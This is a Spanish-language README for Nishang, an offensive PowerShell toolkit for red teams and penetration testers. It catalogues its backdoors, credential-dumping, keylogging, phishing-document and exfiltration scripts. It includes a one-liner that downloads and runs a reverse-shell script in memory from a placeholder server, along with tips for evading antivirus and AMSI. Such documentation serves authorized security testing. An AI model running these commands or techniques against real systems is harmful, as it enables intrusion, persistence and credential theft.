
Nishang - PowerShell ofensivo para equipo rojo, pruebas de penetración y seguridad ofensiva.
Por Nikhil Mittal Fundador de Altered Security - ¡Formación práctica en red team y seguridad empresarial!
Importa todos los scripts en la sesión actual de PowerShell (PowerShell v3 en adelante).
PS C:\nishang> Import-Module .\nishang.psm1
Usa los scripts individuales con dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Para obtener ayuda sobre cualquier script o función, usa:
PS C:\nishang> Get-Help [scriptname] -full
Nota: desde la versión 0.3.8, la ayuda está disponible para la función cargada después de ejecutar el script, no para el script en sí. En todos los casos, el nombre de la función es el mismo que el del script.
Por ejemplo, para ver la ayuda sobre Get-WLAN-Keys.ps1, usa
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Los scripts de Nishang son marcados como maliciosos por muchos antivirus. Los scripts en un objetivo deben ejecutarse en memoria, algo muy fácil de hacer con PowerShell. Dos métodos básicos para ejecutar scripts de PowerShell en memoria:
Método 1. Usa la descarga y ejecución en memoria: Usa el siguiente comando para ejecutar un script de PowerShell desde un shell remoto, un shell nativo de meterpreter, una web shell, etc., y la función que exporta. Todos los scripts de Nishang exportan una función con el mismo nombre en la sesión actual de PowerShell.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Método 2. Usa el parámetro -encodedcommand (o -e) de PowerShell
Todos los scripts de Nishang exportan una función con el mismo nombre en la sesión actual de PowerShell. Por lo tanto, asegúrate de que la llamada a la función se realiza en el propio script al usar el parámetro encodedcommand desde un shell que no sea PowerShell. Para el ejemplo anterior, añade una llamada a la función (sin comillas) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Codifica el script usando Invoke-Encode de Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Datos codificados escritos en .\encoded.txt Comando codificado escrito en .\encodedcommand.txt
A partir de lo anterior, usa el script codificado de encodedcommand.txt y ejecútalo en un objetivo donde se puedan ejecutar comandos (un shell remoto, un shell nativo de meterpreter, una web shell, etc.). Úsalo de la siguiente manera:
C:\Users\target> powershell -e [encodedscript]
Si los scripts aún son detectados, cambiar los nombres de funciones y parámetros y eliminar el contenido de ayuda puede ayudar.
En caso de que AMSI de Windows 10 aún bloquee la ejecución del script, consulta este blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang actualmente contiene los siguientes scripts y payloads.
Modifica objetos de AD para proporcionar los permisos mínimos requeridos para DCShadow.
Ejecuta scripts de PowerShell en memoria, ejecuta comandos, y descarga y sube archivos usando esta web shell.
Una puerta trasera que puede recibir instrucciones de sitios web de terceros y ejecutar scripts de PowerShell en memoria.
Una puerta trasera que puede recibir comandos y scripts de PowerShell desde consultas DNS TXT, ejecutarlos en un objetivo, y ser controlada remotamente mediante consultas.
Una puerta trasera que puede ejecutar scripts de PowerShell en un momento específico en un objetivo.
Una puerta trasera que puede recibir comandos y scripts desde un SSID de WLAN sin conectarse a él.
Una puerta trasera que puede usar el protector de pantalla de Windows para ejecución remota de comandos y scripts.
Una puerta trasera que puede usar flujos de datos alternativos y el Registro de Windows para lograr persistencia.
Una puerta trasera que usa el conocido truco del depurador para ejecutar payloads con Sticky keys y Utilman (Tecla Windows + U).
Modifica permisos de DCOM y espacios de nombres WMI para permitir acceso a un usuario no administrador.
Modifica permisos de la comunicación remota de PowerShell para permitir acceso a un usuario no administrador.
Implementación de métodos conocidos públicamente para evitar/eludir AMSI.
Crea archivos CHM infectados que pueden ejecutar comandos y scripts de PowerShell.
Crea archivos de Word e infecta los existentes para ejecutar comandos y scripts de PowerShell.
Crea archivos de Excel e infecta los existentes para ejecutar comandos y scripts de PowerShell.
Crea un archivo HTA que puede desplegarse en un servidor web y usarse en campañas de phishing.
Crea archivos JAR firmados que pueden usarse con applets para la ejecución de scripts y comandos.
Crea archivos de acceso directo capaces de ejecutar comandos y scripts de PowerShell.
Crea archivos IQY para phishing de credenciales y hashes SMB.
Crea archivos JS capaces de ejecutar comandos y scripts de PowerShell.
Crea archivos SCT capaces de ejecutar comandos y scripts de PowerShell.
Crea un archivo SCF que puede usarse para capturar desafíos de hash NTLM.
Cuando se requieren privilegios SYSTEM.
Introduce vulnerabilidades eliminando parches.
Bypass de UAC.
Descarga y ejecuta un script de PowerShell en memoria.
Descarga un ejecutable en formato de texto, lo convierte a ejecutable y lo ejecuta.
Ejecuta comandos de PowerShell, comandos nativos o comandos SQL en un servidor MSSQL con privilegios suficientes.
Ejecuta shellcode en memoria usando consultas DNS TXT.
Ejecuta comandos y scripts de PowerShell o una sesión inversa de PowerShell usando rundll32.exe.
Verifica si es una máquina virtual.
Copia el archivo SAM usando el servicio de copia de sombra de volumen.
Engaña a un usuario para que proporcione credenciales en texto plano.
Un par de scripts para pruebas de egreso.
Obtiene información valiosa de un objetivo.
Obtiene el secreto LSA de un objetivo.
Obtiene los hashes de contraseñas de un objetivo.
Obtiene las claves WLAN en texto plano de un objetivo.
Registra las pulsaciones de teclado de un objetivo.
Invoke-MimikatzWdigestDowngrade
Extrae contraseñas de usuario en texto plano en Windows 8.1 y Server 2012.
Obtiene las sugerencias de contraseña de los usuarios de Windows de un objetivo.
Conecta de vuelta y transmite la pantalla del objetivo usando MJPEG.
Carga mimikatz en memoria. Actualizado y con algunas personalizaciones.
Extrae información valiosa de la memoria de procesos objetivo (como navegadores) usando expresiones regulares.
Exfiltra información como credenciales de usuario usando el SSID de WLAN.
Identifica jump-boxes de administrador y/o equipos usados para acceder a máquinas Unix.
Un proxy HTTPS local para ataques MITM.
Verifica credenciales en múltiples equipos y crea PSSessions.
Run-EXEonRemote Copia y ejecuta un ejecutable en múltiples máquinas.
Invoke-NetworkRelay Crea relays de red entre equipos.
Verifica los hashes de los procesos en ejecución contra la base de datos de VirusTotal.
Fuerza bruta FTP, Active Directory, MSSQL y Sharepoint.
Un escáner de puertos práctico.
Toda la funcionalidad de nishang en un único módulo de script.
Envía comandos y scripts a una cuenta de Gmail especificada para ser ejecutados por Invoke-PsGcatAgent.
Ejecuta comandos y scripts enviados por Invoke-PsGcat.
Un shell interactivo inverso o de escucha de PowerShell sobre TCP.
Versión reducida de Invoke-PowerShellTcp. También contiene una versión esqueleto que podría caber en dos tweets.
Invoke-PowerShellTcpOneLineBind
Versión de escucha de Invoke-PowerShellTcpOneLine.
Un shell interactivo inverso o de escucha de PowerShell sobre UDP.
Versión reducida de Invoke-PowerShellUdp.
PowerShell interactivo inverso sobre HTTPS.
PowerShell interactivo inverso sobre HTTP.
Limpia el sistema después de usar Invoke-PoshRatHttps.
PowerShell interactivo usando WMI.
Un shell inverso interactivo de PowerShell sobre ICMP.
Un shell inverso interactivo de PowerShell sobre HTTP usando rundll32.exe.
Un shell inverso interactivo de PowerShell sobre HTTP usando regsvr32.exe.
Añade capacidad de exfiltración de datos a Gmail, Pastebin, un servidor web y DNS a cualquier script.
Añade capacidad de persistencia al reinicio a un script.
Elimina la persistencia añadida por el script Add-Persistence.
Tubería (|) a cualquier script para exfiltrar la salida.
Transfiere un archivo al objetivo.
Analiza las teclas registradas por el keylogger.
Codifica y comprime un script o cadena.
Decodifica y descomprime un script o cadena de Invoke-Encode.
Ejecuta un servidor web que registra autenticación básica y hashes SMB.
Codifica una cadena a ROT13 o decodifica una cadena ROT13.
Genera registros DNS TXT que podrían usarse con otros scripts.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Las actualizaciones sobre Nishang se pueden encontrar en mi blog http://labofapenetrationtester.com y en mi Twitter @nikhil_mitt.
Por favor, abre un issue si encuentras un error o tienes una solicitud de funcionalidad. Puedes enviarme un correo electrónico a nikhil [dot] uitrgpv at gmail.com
Para comentarios, discusiones y solicitudes de funcionalidades, únete a: http://groups.google.com/group/nishang-users
Siempre estoy buscando contribuyentes para Nishang. Por favor, envía solicitudes o envíame un correo electrónico.
Algunas publicaciones útiles para principiantes:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Todas las publicaciones sobre Nishang: